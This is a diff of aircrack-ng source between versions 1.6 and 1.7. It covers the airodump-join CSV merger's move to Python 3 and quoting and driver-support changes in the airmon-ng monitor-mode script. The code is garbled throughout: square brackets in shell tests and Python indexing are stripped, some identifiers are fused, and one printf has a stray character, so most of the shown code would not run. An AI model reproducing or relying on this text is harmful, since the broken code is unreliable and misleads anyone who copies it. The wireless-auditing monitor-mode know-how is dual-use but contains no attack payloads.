+            self.ouitodeviceWhatmac3dat00:8 = dat1 # a db to support the 3byte lookup from whatmac
+            if dat1 in list(self.devicetoouiWhacmac.keys()):
+                self.devicetoouiWhacmacdat1.append(dat0)
+            else:
+                self.devicetoouiWhacmacdat1 = dat0
+

aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airgraphviz/lib_Airgraphviz.py Changed

aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/airodump-join -> aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/airodump-join Changed

@@ -2,13 +2,13 @@
 # this script is a total hack it works and I'll clean it up later
 import sys,getopt, optparse, pdb, re
 def raw_lines(file):
-        try:
+	try:
 		raw_lines = open(file, "r")
 	except Exception:
-		print "Failed to open ",file,". Do you have the file name correct?"
+		print("Failed to open ",file,". Do you have the file name correct?")
 		sys.exit(1)
-        Rlines = raw_lines.readlines() 
-       	return Rlines
+	Rlines = raw_lines.readlines()
+	return Rlines
 
 def parse_file(file,file_name):
 	cleanup = 
@@ -23,27 +23,27 @@
 	try:
 		header = cleanup.index('BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key')
 		stationStart = cleanup.index('Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs')
-        	del cleanupheader
+		del cleanupheader
 	except Exception:
-		print "You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap"
-        	sys.exit(1)
+		print("You seem to have provided an improper input file"" '",file_name,"' ""Please make sure you are loading an airodump csv file and not a Pcap")
+		sys.exit(1)
 	Clients = cleanupstationStart: #splits off the clients into their own list
 	stationStart = stationStart - 1 #ulgy hack to make sure the heading gets deleted from end of the APs List
 	del cleanupstationStart:#removed all of the client info leaving only the info on available target AP's in ardump maybe I should create a new list for APs?
 	lines = cleanup,Clients
 	return lines
 def join_write(data,name):
- 	file = open(name,'a')
+	file = open(name,'a')
 	for line in data0:
-                line=line.rstrip()
-                if len(line)>1:
-           		file.write(line+'\n')
+		line=line.rstrip()
+		if len(line)>1:
+			file.write(line+'\n')
 	for line in data 1:
-                if len(line)>1:
-         		file.write(line+'\n')
+		if len(line)>1:
+			file.write(line+'\n')
 	file.close()
 def showBanner():
-	print "Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files  foo_name_1 foo_name_2 foo_name_3 ..... \n\t-o\tOutput File\n"
+	print("Airodump Joiner\nJoin Two Airodump CSV Files\n\n\t-i\tInput Files  foo_name_1 foo_name_2 foo_name_3 ..... \n\t-o\tOutput File\n")
 
 def file_pool(files):
 	AP = 
@@ -68,9 +68,9 @@
 	
 
 if  __name__ == "__main__":
-        if len(sys.argv) <= 1:
-                showBanner()
-                sys.exit(1)
+	if len(sys.argv) <= 1:
+		showBanner()
+		sys.exit(1)
 
 	parser = optparse.OptionParser("usage: %prog options arg1 arg2 arg3 .....")
 	parser.add_option("-o", "--output",  dest="output",nargs=1, help="output file to write to")
@@ -80,11 +80,11 @@
 	filenames = options.filename
 	outfile = options.output
 	if outfile == None:
-		print "You must provide a file name to write out to. IE... -o foo.csv\n"
+		print("You must provide a file name to write out to. IE... -o foo.csv\n")
 		showBanner()
 		sys.exit(1)
 	elif filenames == None:
-		print "You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n"
+		print("You must provide at least two file names to join. IE... -i foo1.csv foo2.csv\n")
 		showBanner()
 		sys.exit(1)
 	for file_name in args:

aircrack-ng-1.6.tar.gz/scripts/airgraph-ng/setup.py -> aircrack-ng-1.7.tar.gz/scripts/airgraph-ng/setup.py Changed

aircrack-ng-1.6.tar.gz/scripts/airmon-ng.linux -> aircrack-ng-1.7.tar.gz/scripts/airmon-ng.linux Changed

@@ -3,13 +3,19 @@
 VERBOSE="0"
 ELITE="0"
 USERID=""
-IFACE=""
 checkvm_status=""
 MAC80211=0
-IW_SOURCE="https://mirrors.edge.kernel.org/pub/software/network/iw/iw-5.4.tar.xz"
+IW_SOURCE="https://mirrors.edge.kernel.org/pub/software/network/iw/iw-5.9.tar.xz"
 IW_ERROR=""
-if  ! -d /sys/ ; then
-	printf "CONFIG_SYSFS is disabled in your kernel, this program will almost certainly not work.\n"
+if  ! -d '/sys/' ; then
+	printf "CONFIG_SYSFS is disabled in your kernel, this program will not work.\n"
+  exit 1
+fi
+if ! mountpoint -q -- /sys; then
+  printf "/sys is not mounted, you can probably mount it with:\n"
+  printf "mount -t sysfs sysfs /sys\n"
+  printf "This program cannot continue without a working sysfs.\n"
+  exit 1
 fi
 
 if  "${1}" = "--elite" ; then
@@ -39,7 +45,7 @@
 	if  "${3}" -gt 0  > /dev/null 2>&1; then
 		CH="${3}"
 	else
-		printf "\nYou have entered an invalid channel \"${3}\" which will be ignored\n"
+		printf "\nYou have entered an invalid channel \"%s\" which will be ignored\n" "${3}"
 		CH=3
 	fi
 else
@@ -71,9 +77,6 @@
 	printf "How in the world do you not have uname installed?\n"
 	printf "Please select a linux distro which has at least basic functionality (or install uname).\n"
 	exit 1
-else
-        OS=$(uname -s)
-	#Recognized values are Linux and Darwin
 fi
 
 if  ! -x "$(command -v ip 2>&1)"  &&  ! -x "$(command -v ifconfig 2>&1)" ; then
@@ -85,7 +88,7 @@
 if  ! -x "$(command -v iw 2>&1)" ; then
 	printf "You don't have iw installed, please install it from your distro's package manager.\n"
 	printf "If your distro doesn't have a recent version you can download it from this link:\n"
-	printf "${IW_SOURCE}\n"
+	printf "%s\n" "${IW_SOURCE}"
 	exit 1
 fi
 
@@ -173,30 +176,30 @@
 #done checking for binaries
 
 usage() {
-	printf "usage: $(basename $0) <start|stop|check> <interface> channel or frequency\n\n"
+  printf "usage: %s <start|stop|check> <interface> channel or frequency\n\n" "$(basename "$0")"
 	exit 0
 }
 
 handleLostPhys() {
-	MISSING_INTERFACE=""
-        if  -d /sys/class/ieee80211 ; then
-		for i in $(ls /sys/class/ieee80211/); do
-			if  ! -d /sys/class/ieee80211/${i}/device/net ; then
-				MISSING_INTERFACE="${i}"
-				printf "\nFound ${MISSING_INTERFACE} with no interfaces assigned, would you like to assign one to it? y/n "
-				yesorno
-				retcode=$?
-	               		if  "${retcode}" = "1" ; then
-					printf "PHY ${MISSING_INTERFACE} will remain lost.\n"
-				elif  "${retcode}" = "0" ; then
-					PHYDEV=${MISSING_INTERFACE}
-					findFreeInterface monitor
-	               		fi
-			fi
-		done
-	fi
-				#add some spacing so this doesn't make the display hard to read
-				printf "\n"
+  MISSING_INTERFACE=""
+  if  -d /sys/class/ieee80211 ; then
+    for i in $(ls /sys/class/ieee80211/); do
+      if  ! -d "/sys/class/ieee80211/${i}/device/net" ; then
+        MISSING_INTERFACE="${i}"
+        printf "\nFound %s with no interfaces assigned, would you like to assign one to it? y/n " "${MISSING_INTERFACE}"
+        yesorno
+        retcode=$?
+        if  "${retcode}" = "1" ; then
+          printf "PHY %s will remain lost.\n" "${MISSING_INTERFACE}"
+        elif  "${retcode}" = "0" ; then
+          PHYDEV=${MISSING_INTERFACE}
+          findFreeInterface monitor
+        fi
+      fi
+    done
+  fi
+  #add some spacing so this doesn't make the display hard to read
+  printf "\n"
 }
 
 findFreeInterface() {
@@ -222,45 +225,45 @@
 			return 1
 		fi
 		if  "$DEBUG" = "1" ; then
-			printf "\nChecking candidate wlan${i}\n"
+			printf "\nChecking candidate wlan%s\n" "${i}"
 		fi
-		if  ! -e /sys/class/net/wlan${i} ; then
-			if  "$DEBUG" = "1" ; then
-				printf "\nCandidate wlan${i} is not in use\n"
+		if  ! -e "/sys/class/net/wlan${i}" ; then
+			if  "${DEBUG}" = "1" ; then
+				printf "\nCandidate wlan%s is not in use\n" "${i}"
 			fi
-			if  ! -e /sys/class/net/wlan${i}mon ; then
+			if  ! -e "/sys/class/net/wlan${i}mon" ; then
 				if  "$DEBUG" = "1" ; then
-					printf "\nCandidate wlan${i} and wlan${i}mon are both clear, creating wlan${i}${target_suffix}\n"
+					printf "\nCandidate wlan%s and wlan%smon are both clear, creating wlan%s%s\n" "${i}" "${i}" "${i}" "${target_suffix}"
 				fi
-				IW_ERROR="$(iw phy ${PHYDEV} interface add wlan${i}${target_suffix} type ${target_mode} 2>&1)"
+				IW_ERROR="$(iw phy "${PHYDEV}" interface add "wlan${i}${target_suffix}" type "${target_mode}" 2>&1)"
 				if  -z "${IW_ERROR}" ; then
-					if  -d /sys/class/ieee80211/${PHYDEV}/device/net ; then
-						for j in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-							if  "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${j}/type)" = "${target_type}" ; then
+					if  -d "/sys/class/ieee80211/${PHYDEV}/device/net" ; then
+						for j in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
+							if  "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${j}/type")" = "${target_type}" ; then
 								#here is where we catch udev renaming our interface
-								k=${j#wlan}
-								i=${k%mon}
+								k="${j#wlan}"
+								i="${k%mon}"
 							fi
 						done
 					else
-						printf "Unable to create wlan${i}${target_suffix} and no error received.\n"
+						printf "Unable to create wlan%s%s and no error received.\n" "${i}" "${target_suffix}"
 						return 1
 					fi
-					printf "\n\t\t(mac80211 ${target_mode} mode vif enabled on ${PHYDEV}wlan${i}${target_suffix}\n"
+					printf "\n\t\t(mac80211 %s mode vif enabled on %swlan%s%s\n" "${target_mode}" "${PHYDEV}" "${i}" "${target_suffix}"
 					unset IW_ERROR
 					break
 				else
-					printf "\n\n ERROR adding ${target_mode} mode interface: ${IW_ERROR}\n"
+					printf "\n\n ERROR adding %s mode interface: %s\n" "${target_mode}" "${IW_ERROR}"
 					break
 				fi
 			else
 				if  "$DEBUG" = "1" ; then
-					printf "\nCandidate wlan${i} does not exist, but wlan${i}mon does, skipping...\n"
+					printf "\nCandidate wlan%s does not exist, but wlan%smon does, skipping...\n" "${i}" "${i}"
 				fi
 			fi
 		else
 			if  "$DEBUG" = "1" ; then
-				printf "\nCandidate wlan${i} is in use already.\n"
+				printf "\nCandidate wlan%s is in use already.\n" "${i}"
 			fi
 		fi
 	done
@@ -282,16 +285,16 @@
 	if  -z "$index" ; then
 		return 187
 	fi
-	rfkill_status="$(rfkill list ${index} 2>&1)"
+	rfkill_status="$(rfkill list "${index}" 2>&1)"
 	if  $? != 0 ; then
-		printf "rfkill error: ${rfkill_status}\n"
+		printf "rfkill error: %s\n" "${rfkill_status}"
 		return 187
 	elif  -z "${rfkill_status}" ; then
 		printf "rfkill had no output, something went wrong.\n"
 		exit 1
 	else
-		soft=$(printf "${rfkill_status}" | grep -i soft | awk '{print $3}')
-		hard=$(printf "${rfkill_status}" | grep -i hard | awk '{print $3}')
+		soft=$(printf "%s" "${rfkill_status}" | grep -i soft | awk '{print $3}')
+		hard=$(printf "%s" "${rfkill_status}" | grep -i hard | awk '{print $3}')
 		if  "${soft}" = "yes"  &&  "${hard}" = "no" ; then
 			return 1
 		elif  "${soft}" = "no"  &&  "${hard}" = "yes" ; then
@@ -309,14 +312,14 @@
 		#immediately return if rfkill isn't supported
 		return 0
 	fi
-	rfkill_status="$(rfkill unblock ${1#phy} 2>&1)"
+	rfkill_status="$(rfkill unblock "${1#phy}" 2>&1)"
 	if  $? != 0 ; then
-		rfkill_status="$(rfkill unblock $index 2>&1)"
+		rfkill_status="$(rfkill unblock "${index}" 2>&1)"
 		if  $? != 0 ; then
-      if  $(echo "${rfkill_status}" | grep -c "Usage") -eq 1 ; then
+      if  "$(printf "%s" "${rfkill_status}" | grep -c "Usage")" -eq 1 ; then
 				printf "Missing parameters in rfkill! Report this"
 			else
-				printf "rfkill error: ${rfkill_status}\n"
+				printf "rfkill error: %s\n" "${rfkill_status}"
 			fi
 			printf "Unable to unblock.\n"
 			return 1
@@ -329,9 +332,9 @@
 
 setLink() {
 	if  -x "$(command -v ip 2>&1)" ; then
-		ip link set dev ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ip\n"
+		ip link set dev "${1}" "${2}" > /dev/null 2>&1 || printf "\nFailed to set %s %s using ip\n" "${1}" "${2}"
 	elif  -x "$(command -v ifconfig 2>&1)" ; then
-		ifconfig ${1} ${2} > /dev/null 2>&1 || printf "\nFailed to set ${1} ${2} using ifconfig\n"
+		ifconfig "${1}" "${2}" > /dev/null 2>&1 || printf "\nFailed to set %s %s using ifconfig\n" "${1}" "${2}"
 	fi
 	return
 }
@@ -342,7 +345,7 @@
 	elif  -x "$(command -v ifconfig 2>&1)" ; then
 		ifaceIsUpCmd="ifconfig"
 	fi
-	if ${ifaceIsUpCmd} ${1} 2>&1 | grep -q UP
+	if ${ifaceIsUpCmd} "${1}" 2>&1 | grep -q UP
 	then
 		return
 	else
@@ -356,7 +359,7 @@
 	elif  -x "$(command -v ifconfig 2>&1)" ; then
 		ifaceExistsCmd="ifconfig"
 	fi
-	if ${ifaceExistsCmd} ${1} > /dev/null 2>&1
+	if ${ifaceExistsCmd} "${1}" > /dev/null 2>&1
 	then
 		return
 	else
@@ -364,28 +367,50 @@
 	fi
 }
 
-#listIfaceUnspec() {
-#	if  -x "$(command -v ip 2>&1)" ; then
-#		ip link 2>/dev/null | awk -F": +" '/UNSPEC/ {print $2}'
-#	elif  -x "$(command -v ifconfig 2>&1)" ; then
-#		ifconfig -a 2>/dev/null | awk -F": +" '/UNSPEC/ {print $1}'
-#	fi
-#}
-
 startDeprecatedIface() {
-	iwconfig ${1} mode monitor > /dev/null 2>&1
+	iwconfig "${1}" mode monitor > /dev/null 2>&1
 	if  -n "${2}" ; then
-		if  ${2} -lt 1000 ; then
-			iwconfig ${1} channel ${2} > /dev/null 2>&1
+		if  "${2}" -lt 1000 ; then
+			iwconfig "${1}" channel "${2}" > /dev/null 2>&1
 		else
-			iwconfig ${1} freq ${2}000000 > /dev/null 2>&1
+			iwconfig "${1}" freq "${2}000000" > /dev/null 2>&1
 		fi
 	else
-		iwconfig ${1} channel ${CH} > /dev/null 2>&1
+		iwconfig "${1}" channel "${CH}" > /dev/null 2>&1
 	fi
-	iwconfig ${1} key off > /dev/null 2>&1
-	setLink ${1} up
-	printf " (monitor mode enabled)"
+	iwconfig "${1}" key off > /dev/null 2>&1
+	setLink "${1}" up
+	printf "\t\t(monitor mode enabled)\n"
+}
+
+changeMac80211IfaceTypeMonitor() {
+  iw dev "${1}" set type monitor > /dev/null 2>&1
+  setLink "${1}" up
+  printf "\t\t(monitor mode enabled)\n"
+}
+
+qcaldSafetyCheck() {
+  icnss_file="/sys/module/wlan/parameters/con_mode"
+  if  ! -f "${icnss_file}" ; then
+    printf "Unable to find %s which is needed to control mode.\n" "${icnss_file}"
+    printf "Is /sys mounted correctly?\n"
+    exit 1
+  fi
+  if  ! -w "${icnss_file}" ; then
+    printf "%s is present but we do not have write permission\n" "${icnss_file}"
+    printf "Unable to control mode, giving up\n"
+    exit 1
+  fi
+}
+
+changeQcacldIfaceTypeMonitor() {
+  #this is far too fragile for me, since it obviously doesn't
+  #work if you have multiple cards with this driver
+  #hopefully that never happens
+  qcaldSafetyCheck
+  echo 4 > /sys/module/wlan/parameters/con_mode
+  setLink "${1}" up
+  printf "\t\t(monitor mode enabled)\n"
 }
 
 yesorno() {
@@ -402,100 +427,107 @@
 
 startMac80211Iface() {
 	#check if rfkill is set and cry if it is
-	rfkill_check ${PHYDEV}
+	rfkill_check "${PHYDEV}"
 	rfkill_retcode="$?"
 	case ${rfkill_retcode} in
-		1) printf "\t${1} is soft blocked, please run \"rfkill unblock ${index}\" to use this interface.\n" ;;
-		2) printf "\t${1} is hard blocked, please flip the hardware wifi switch (or in BIOS) to on.\n"
-		   printf "\tIt may also be possible to unblock with \"rfkill unblock ${index}\"\n"
+		1) printf "\t%s is soft blocked, please run \"rfkill unblock %s\" to use this interface.\n" "${1}" "${index}" ;;
+		2) printf "\t%s is hard blocked, please flip the hardware wifi switch (or in BIOS) to on.\n"a "${1}"
+		   printf "\tIt may also be possible to unblock with \"rfkill unblock %s\"\n" "${index}"
 		   if  "${checkvm_status}" != "run" ; then
 		   	checkvm
 		   fi
 		   if  -n "${vm}" ; then
-		   	printf "Detected VM using ${vm_from}\n"
-		   	printf "This appears to be a ${vm} Virtual Machine\n"
+		   	printf "Detected VM using %s\n" "${vm_from}"
+		   	printf "This appears to be a %s Virtual Machine\n" "${vm}"
 		   	printf "Some distributions have bugs causing rfkill hard block to be forced on in a VM.\n"
-		   	printf "If toggling the rfkill hardware switch and \"rfkill unblock ${index}\" both fail\n"
+		   	printf "If toggling the rfkill hardware switch and \"rfkill unblock %s\" both fail\n" "${index}"
 		   	printf "to fix this, please try not running in a VM.\n"
 		   fi
 		   ;;
-		3) printf "\t${1} is hard and soft blocked, please flip the hardware wifi switch to on.\n"
-		   printf "\tIt may also be needed to unblock with \"rfkill unblock ${index}\"\n" ;;
+		3) printf "\t%s is hard and soft blocked, please flip the hardware wifi switch to on.\n" "${1}"
+		   printf "\tIt may also be needed to unblock with \"rfkill unblock %s\"\n" "${index}" ;;
 	esac
 	if  "${rfkill_retcode}" != 0 ; then
-		printf "rfkill error, unable to start ${1}\n\n"
+		printf "rfkill error, unable to start %s\n\n" "${1}"
 		printf "Would you like to try and automatically resolve this? y/n "
 		yesorno
 		retcode="$?"
 		if  "${retcode}" = "1" ; then
 			return 1
 		elif  "${retcode}" = "0" ; then
-			rfkill_unblock ${PHYDEV}
+			rfkill_unblock "${PHYDEV}"
 		fi
 	fi
 	#check if $1 already has a mon interface on the same phy and bail if it does
-	if  -d /sys/class/ieee80211/${PHYDEV}/device/net ; then
-		for i in $(ls /sys/class/ieee80211/${PHYDEV}/device/net/); do
-			if  "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${i}/type)" = "803" ; then
-				setChannelMac80211 ${i}
-				printf "\n\t\t(mac80211 monitor mode already enabled for ${PHYDEV}${1} on ${PHYDEV}${i})\n"
+	if  -d "/sys/class/ieee80211/${PHYDEV}/device/net" ; then
+		for i in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
+			if  "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type")" = "803" ; then
+				setChannelMac80211 "${i}"
+				printf "\t\t(mac80211 monitor mode already enabled for %s%s on %s%s)\n" "${PHYDEV}" "${1}" "${PHYDEV}" "${i}"
 				exit
 			fi
 		done
 	fi
+  #handle Qualcomm qcacld
+  if  "${DRIVER}" = "icnss" ; then
+    setLink "${1}" down
+    changeQcacldIfaceTypeMonitor "${1}"
+    setChannelMac80211 "${1}"
+    return
+  fi
   #check if chipset has driver not under mac80211 stack
-  if  "${DRIVER}" = "8812au"  ||  "${DRIVER}" = "8814au"  ||  "${DRIVER}" = "88XXau" ; then
+  if  "${DRIVER}" = "88XXau"  || iw phy "${PHYDEV}" info | grep -q 'interface combinations are not supported'; then
     #grumble grumble, seriously crap vendor driver
-    setLink ${1} down
-    startDeprecatedIface ${1}
-    setChannelMac80211 ${1}
+    setLink "${1}" down
+    changeMac80211IfaceTypeMonitor "${1}"
+    setChannelMac80211 "${1}"
     return
   fi
 	#we didn't bail means we need a monitor interface
 	if  ${#1} -gt 12 ; then
-		printf "Interface ${1}mon is too long for linux so it will be renamed to the old style (wlan#) name.\n"
+		printf "Interface %smon is too long for linux so it will be renamed to the old style (wlan#) name.\n" "${1}"
 		findFreeInterface monitor
 	else
-		if  -e /sys/class/net/${1}mon ; then
-			printf "\nYou already have a ${1}mon device but it is NOT in monitor mode."
+		if  -e "/sys/class/net/${1}mon" ; then
+			printf "\nYou already have a %smon device but it is NOT in monitor mode." "${1}"
 			printf "\nWhatever you did, don't do it again."
-			printf "\nPlease run \"iw ${1}mon del\" before attempting to continue\n"
+			printf "\nPlease run \"iw %smon del\" before attempting to continue\n" "${1}"
 			exit 1
 		fi
 		#we didn't bail means our target interface is available
-		setLink ${1} down
-		IW_ERROR="$(iw phy ${PHYDEV} interface add ${1}mon type monitor 2>&1)"
+		setLink "${1}" down
+		IW_ERROR="$(iw phy "${PHYDEV}" interface add "${1}mon" type monitor 2>&1)"
 		if  -z "${IW_ERROR}" ; then
 			sleep 1
-			if  -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type"  &&  "$(cat /sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type)" = "803" ; then
-				setChannelMac80211 ${1}mon
+			if  -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type"  &&  "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type")" = "803" ; then
+				setChannelMac80211 "${1}mon"
 			else
-				printf "\nNewly created monitor mode interface ${1}mon is *NOT* in monitor mode.\n"
-				printf "Removing non-monitor ${1}mon interface...\n"
-				stopMac80211Iface ${1}mon abort
+				printf "\nNewly created monitor mode interface %smon is *NOT* in monitor mode.\n" "${1}"
+				printf "Removing non-monitor %smon interface...\n" "${1}"
+				stopMac80211Iface "${1}mon" abort
 				exit 1
 			fi
-			printf "\n\t\t(mac80211 monitor mode vif enabled for ${PHYDEV}${1} on ${PHYDEV}${1}mon)\n"
+			printf "\t\t(mac80211 monitor mode vif enabled for %s%s on %s%smon)\n" "${PHYDEV}" "${1}" "${PHYDEV}" "${1}"
 		else
-			printf "\n\nERROR adding monitor mode interface: ${IW_ERROR}\n"
+			printf "\nERROR adding monitor mode interface: %s\n" "${IW_ERROR}"
 			exit 1
 		fi
 	fi
 	if  "${ELITE}" = "1" ; then
 		#check if $1 is still down, warn if not
-		if ifaceIsUp ${1}
+		if ifaceIsUp "${1}"
 		then
-			printf "\nInterface ${1} is up, but it should be down. Something is interfering."
+			printf "\nInterface %s is up, but it should be down. Something is interfering." "${1}"
 			printf "\nPlease run \"airmon-ng check kill\" and/or kill your network manager."
 		fi
 	else
-		isRPiWireless && iw ${1} del
-		printf "\t\t(mac80211 station mode vif disabled for ${PHYDEV}${1})\n"
+		isRPiWireless && iw "${1}" del
+		printf "\t\t(mac80211 station mode vif disabled for %s%s)\n" "${PHYDEV}" "${1}"
 	fi
 }
 
 isRPiWireless() {
-	local HW_REV=$(grep Revision /proc/cpuinfo | awk '{print $3}')
+	HW_REV="$(grep Revision /proc/cpuinfo | awk '{print $3}')"
 	 -z "${HW_REV}"  && return 0
 	# http://www.raspberrypi-spy.co.uk/2012/09/checking-your-raspberry-pi-board-version/
 	# https://www.raspberrypi.org/documentation/hardware/raspberrypi/revision-codes/README.md
@@ -514,23 +546,33 @@
 	 "${HW_REV}" = 'a03111'  && return 1
 	 "${HW_REV}" = 'b03111'  && return 1
 	 "${HW_REV}" = 'c03111'  && return 1
+	 "${HW_REV}" = 'b03112'  && return 1
+	 "${HW_REV}" = 'b03114'  && return 1
+	 "${HW_REV}" = 'c03112'  && return 1
+	 "${HW_REV}" = 'c03114'  && return 1
+	 "${HW_REV}" = 'd03114'  && return 1
+	 "${HW_REV}" = 'c03130'  && return 1
+	 "${HW_REV}" = 'a03140'  && return 1
+	 "${HW_REV}" = 'b03140'  && return 1
+	 "${HW_REV}" = 'c03140'  && return 1
+	 "${HW_REV}" = 'd03140'  && return 1
 	return 0
 }
 
 startwlIface() {
 	if  -f "/proc/brcm_monitor0" ; then
 		if  -r "/proc/brcm_monitor0" ; then
-			local brcm_monitor="$(cat /proc/brcm_monitor0)"
+			brcm_monitor="$(cat /proc/brcm_monitor0)"
 			if  "$brcm_monitor" = "1" ; then
-				printf "\n\t\t(experimental wl monitor mode vif already enabled for ${PHYDEV}${1} on ${PHYDEV}prism0)\n"
+				printf "\n\t\t(experimental wl monitor mode vif already enabled for %s%s on %sprism0)\n" "${PHYDEV}" "${1}" "${PHYDEV}"
 				return 0
 			fi
 		fi
 		if  -w "/proc/brcm_monitor0" ; then
 			if printf "1" > /proc/brcm_monitor0; then
-				printf "\n\t\t(experimental wl monitor mode vif enabled for ${PHYDEV}${1} on ${PHYDEV}prism0)\n"
+				printf "\n\t\t(experimental wl monitor mode vif enabled for %s%s on %sprism0)\n" "${PHYDEV}" "${1}" "${PHYDEV}"
 			else
-				printf "\n\t\t(failed to enable experimental wl monitor mode for ${PHYDEV}${1})\n"
+				printf "\n\t\t(failed to enable experimental wl monitor mode for %s%s)\n" "${PHYDEV}" "${1}"
 			fi
 		else
 			printf "\n\tUnable to write to /proc/brcm_monitor0, cannot enable monitor mode.\n"
@@ -551,138 +593,161 @@
 #}
 
 setChannelMac80211() {
-	setLink ${1} up
-	local i=0
-	if  -n "${CH}" ; then
-		if  ${CH} -lt 1000 ; then
-			if  -r "/sys/class/net/$1/phy80211/name" ; then
-		                channel_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | awk -F'' '$2{print $2}')"
-				local hardware_valid_channel=1
-	        	        for i in $channel_list; do
-	                	        if  "${CH}" = "${i}" ; then
-	                        	        hardware_valid_channel=0
-		                                break
-		                        fi
-		                done
-				if  "${hardware_valid_channel}" = "1" ; then
-	        	                printf "Channel ${CH} does not appear to be supported by ${1} hardware, defaulting to channel 3.\n\n"
-					CH=3
-				fi
-			fi
-			IW_ERROR="$(iw dev ${1} set channel ${CH} 2>&1)"
-		else
-			if  -r "/sys/class/net/$1/phy80211/name" ; then
-				frequency_list="$(iw phy $(cat /sys/class/net/$1/phy80211/name) info 2>&1 | sed -nr 's/.*( |^)(0-9+) MHz .*/\2/p')"
-				local hardware_valid_freq=1
-				for i in $frequency_list; do
-					if  "${CH}" = "${i}" ; then
-						hardware_valid_freq=0
-						break
-					fi
-					print
-				done
-				if  "${hardware_valid_freq}" = "1" ; then
-					printf "Frequency ${CH} does not appear to be supported by ${1} hardware, defaulting to 2422 Mhz.\n\n"
-					CH="2422"
-				fi
-			fi
-			IW_ERROR="$(iw dev ${1} set freq "${CH}" 2>&1)"
-		fi
-	else
-		printf "CH is unset, this should not be possible.\n"
-		exit 1
-	fi
-	if  -n "${IW_ERROR}" ; then
-		printf "\nError setting channel: ${IW_ERROR}\n"
-		if printf "${IW_ERROR}" | grep -q "(-16)"; then
-			printf "Error -16 likely means your card was set back to station mode by something.\n"
-			printf "Removing non-monitor ${1} interface...\n"
-			stopMac80211Iface "${1}" abort
-			exit 1
-		fi
-		if printf "${IW_ERROR}" | grep -q "(-22)"; then
-			printf "Unable to set channel/frequency ${CH}, most likely it is outside of regulatory domain\n\n"
-		fi
-	fi
+  setLink "${1}" up
+  i=0
+  if  -n "${CH}" ; then
+    if  ${CH} -lt 1000 ; then
+      if  -r "/sys/class/net/$1/phy80211/name" ; then
+        channel_list="$(iw phy "$(cat "/sys/class/net/${1}/phy80211/name")" info 2>&1 | awk -F'' '$2{print $2}')"
+        hardware_valid_channel=1
+        for i in $channel_list; do
+          if  "${CH}" = "${i}" ; then
+            hardware_valid_channel=0
+            break
+          fi
+        done
+        if  "${hardware_valid_channel}" = "1" ; then
+          printf "Channel %s does not appear to be supported by %s hardware, defaulting to channel 3.\n\n" "${CH}" "${1}"
+          CH=3
+        fi
+      fi
+      IW_ERROR="$(iw dev "${1}" set channel "${CH}" 2>&1)"
+    else
+      if  -r "/sys/class/net/$1/phy80211/name" ; then
+        frequency_list="$(iw phy "$(cat "/sys/class/net/${1}/phy80211/name")" info 2>&1 | sed -nr 's/.*( |^)(0-9+) MHz .*/\2/p')"
+        hardware_valid_freq=1
+        for i in $frequency_list; do
+          if  "${CH}" = "${i}" ; then
+            hardware_valid_freq=0
+            break
+          fi
+          print
+        done
+        if  "${hardware_valid_freq}" = "1" ; then
+          printf "Frequency %s does not appear to be supported by %s hardware, defaulting to 2422 Mhz.\n\n" "${CH}" "${1}"
+          CH="2422"
+        fi
+      fi
+      IW_ERROR="$(iw dev "${1}" set freq "${CH}" 2>&1)"
+    fi
+  else
+    printf "CH is unset, this should not be possible.\n"
+    exit 1
+  fi
+  if  -n "${IW_ERROR}" ; then
+    printf "\nError setting channel: %s\n" "${IW_ERROR}"
+    if printf "%s" "${IW_ERROR}" | grep -q '(-16)'; then
+      printf "Error -16 likely means your card was set back to station mode by something.\n"
+      printf "Removing non-monitor %s interface...\n" "${1}"
+      stopMac80211Iface "${1}" abort
+      exit 1
+    fi
+    if printf "%s" "${IW_ERROR}" | grep -q '(-22)'; then
+      printf "Unable to set channel/frequency %s, most likely it is outside of regulatory domain\n\n" "${CH}"
+    fi
+  fi
 }
 
 stopDeprecatedIface() {
-	setLink $1 down
-	iwconfig $1 mode Managed > /dev/null 2>&1
-	setLink $1 up
-	printf " (monitor mode disabled)"
+	setLink "${1}" down
+	iwconfig "${1}" mode Managed > /dev/null 2>&1
+	setLink "${1}" up
+	printf "\t\t(monitor mode disabled)\n"
+}
+
+changeMac80211IfaceTypeManaged() {
+  iw dev "${1}" set type managed > /dev/null 2>&1
+  setLink "${1}" up
+  printf "\t\t(monitor mode disabled)\n"
+}
+
+changeQcacldIfaceTypeManaged() {
+  #stupidly unsafe with more than one card, oh well
+  qcaldSafetyCheck
+  echo 0 > /sys/module/wlan/parameters/con_mode
+  setLink "${1}" up
+  printf "\t\t(monitor mode disabled)\n"
 }
 
 stopMac80211Iface() {
-	if  -f /sys/class/net/${1}/type ; then
-		if  "${2}" != "abort"  &&  "$(cat /sys/class/net/${1}/type)" != "803" ; then
-			printf "\n\nYou are trying to stop a device that isn't in monitor mode.\n"
+	if  -f "/sys/class/net/${1}/type" ; then
+		if  "${2}" != "abort"  &&  "$(cat "/sys/class/net/${1}/type")" != "803" ; then
+			printf "\nYou are trying to stop a device that isn't in monitor mode.\n"
 			printf "Doing so is a terrible idea, if you really want to do it then you\n"
-			printf "need to type 'iw ${1} del' yourself since it is a terrible idea.\n"
+			printf "need to type 'iw %s del' yourself since it is a terrible idea.\n" "${1}"
 			printf "Most likely you want to remove an interface called wlan0-9mon\n"
